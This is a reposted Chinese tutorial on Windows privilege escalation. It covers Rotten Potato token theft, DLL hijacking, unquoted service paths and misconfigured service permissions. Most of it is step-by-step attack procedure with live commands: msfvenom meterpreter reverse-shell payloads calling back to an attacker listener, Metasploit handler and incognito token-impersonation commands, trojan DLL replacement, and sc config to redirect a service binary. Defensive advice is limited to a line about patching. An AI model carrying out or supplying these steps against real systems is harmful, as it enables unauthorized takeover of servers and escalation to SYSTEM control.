Windows提权 - 烂土豆
烂土豆结合令牌窃取进行提权,WEB权限提权到system权限。
1.原理
1.欺骗“NT AUTHORITY\SYSTEM”账户通过NTLM认证到控制的TCP终端
2.对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程通过一系列的Windows API调用实现的。
3.模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数服务型账户(IIS、MSSQL等)都有这个权限,用户级账户大多数没有这个权限。
所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我发现使用已经建好的账户(就是上面说的用户级账户)去反弹meterpreter然后再去执行EXP的时候会失败,但使用菜刀(IIS服务器权限)反弹meterpreter就会成功。即非服务类用户权限无法窃取成功。
适用于windows2008、2012 、2016/2019,2016/2019利用成功率少一些。
操作演示
利用过程:
上传烂土豆—>执行烂土豆—>利用令牌窃取模块—>窃取SYSTEM
1.在kali上用以下命令生成一个后门,并上传到目标服务器。
msfvenom -p windows/meterpreter_reverse_tcp LHOST={监控IP} LPORT={监控端口} -f exe -o /root/text.exe
2.在目标服务器上执行MSF木马程序并开启监听。
msf开启监听命令
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 5577
run
执行MSF木马程序。
成功接收到回话。
3.上传烂土豆,在MSF会话中执行。
烂土豆下载地址:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
在webshll里面上传烂土豆或者使用MSF回话上传都可以,并记好上传路径,执行需要在MSF上执行。
MSF上传烂土豆:
upload /root/potato.exe c:/ 上传potato.exe到目标机器中的C:/目录下
切换到C盘并执行potato.exe:
执行命令:execute -cH -f c:/potato.exe
4.利用令牌窃取提权
use incognito / 进入incognito
list_tokens -u / 列出令牌
impersonate_token "NT AUTHORITY\SYSTEM" 窃取令牌
可以看到已经成功提权到system。
防御方法:
1.及时打好系统补丁
2.升级到最新的windows系统
Windows提权 - dll劫持
原理
Windows程序启动的时候会加载DLL,此时DLL 不存在,会通过在应用程序要查找位置查找,那么攻击者可以在应用程序查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
利用条件:需特定软件应用的控制权限预计启用配置,利用比较复杂。
好处:window操作系统通杀
演示
利用过程:
信息收集 —> 进程调试 —> 制作dll并上传 —> 替换dll —> 启动应用后成功
1.信息收集,收集主机上安装的应用程序。一个盘符一个盘符的找,直到找到合适利用的目标软件。
2.自己电脑下载目标软件,下载火绒剑对软件进程进行分析。
利用火绒剑进行进程分析加载DLL,一般寻程序DLL利用。
火绒剑上可以清晰的看到程序运行加载的DLL文件。
像系统文件我们是更改不了,因为权限不够,我们只能利用数字签名和未知文件,程序本身的文件我们是可以进行操作的,所以选择软件自身的DLL文件,这里选择libeay32.dll或ssleay32.dll
3.使用MSF生成一个DLL木马文件
msfvenom -p windows/meterpreter_reverse_tcp LHOST={监控IP} LPORT={监控端口} -f dll -o /root/text.dll
我们不仅可以使用MSF生成反弹回话的DLL,也可以自己写一个dll(如果你会写),让其创建一个管理员账户密码,等操作。
4.上传DLL木马文件到目标服务器并替换原有的DLL文件。
ssleay32.dll 是我们的木马文件,
ssleay32_bak.dll 是程序原有的文件
5.MSF启动监听。
6.等待管理员运行该程序,就会在加我们替换的木马程序,我们就可以监听到反弹回话了。
Windows提权 - 不带引号服务
原理
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行(如图1)。但是,如果服务的二进制路径未包含在引号中(图2),则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
图1:执行路径包含在引号中。
图2:执行路径没有带引号
例:有一个服务text.exe,他的可执行文件的路径是“C:\Program Files\text.exe”,路径被包含在引号中,系统会正常解释并执行它。但是可执行文件的路径是C:\Program Files\a.exe,没有被包含在引号中,操作系统会执行空格之前的C:\Program,而将空格之后的 Files\a.exe当做参数,导致出错。我们可以利用这一点,创建一个Program.exe的后门,方服务启动后就会执行到Program.exe,从而达到提权的目的。
演示
1.执行检测命令,探针未被引号包含且还有空格的服务路径。
可以看到MaceoService.exe这个服务的路径没有被引号包裹,且执行路径中有空格,可以利用。
检测命令:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
2. MSF制作一个 program.exe的木马文件,放到目标服务器的C盘下面。
3.MSF监听,等待上线。
4.重启或启动这个MaceoService.exe这个服务。
sc start MaceoService.exe
启动这个服务之后就接收了回话,并且是SYSTEM权限。
Windows提权 - 服务权限
由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
利用流程:
检测服务权限配置 —> 制作木马并上传 —> 更改服务路径指向 —> 启动服务
AccessChk(微软官方软件)下载:https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
1.检测当前用户所在组的服务权限。文章来源:https://www.toymoban.com/news/detail-805720.html
accesschk.exe -uwcqv "当前用户名" *
如果有可用的服务,就会出现下图那样的界面,没有可用服务这种方法就不适合。
2.制作MSF木马文件,text.exe
3.上传到目标系统的C盘
4.从第一步列出的服务中选择一个服务,更改其服务路径指向。
例:IIS ADMIN 服务,它原来的服务路径指向为 C:\Windows\system32\inetsrv\inetinfo.exe。
改为:C:\wxiaoge.exe
sc config “IISADMIN” binpath=“C:\wxiaoge.exe”
5.监听到会话。
6.启动服务.文章来源地址https://www.toymoban.com/news/detail-805720.html
到了这里,关于提权 - Windows 烂土豆/ dll劫持 /服务权限的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!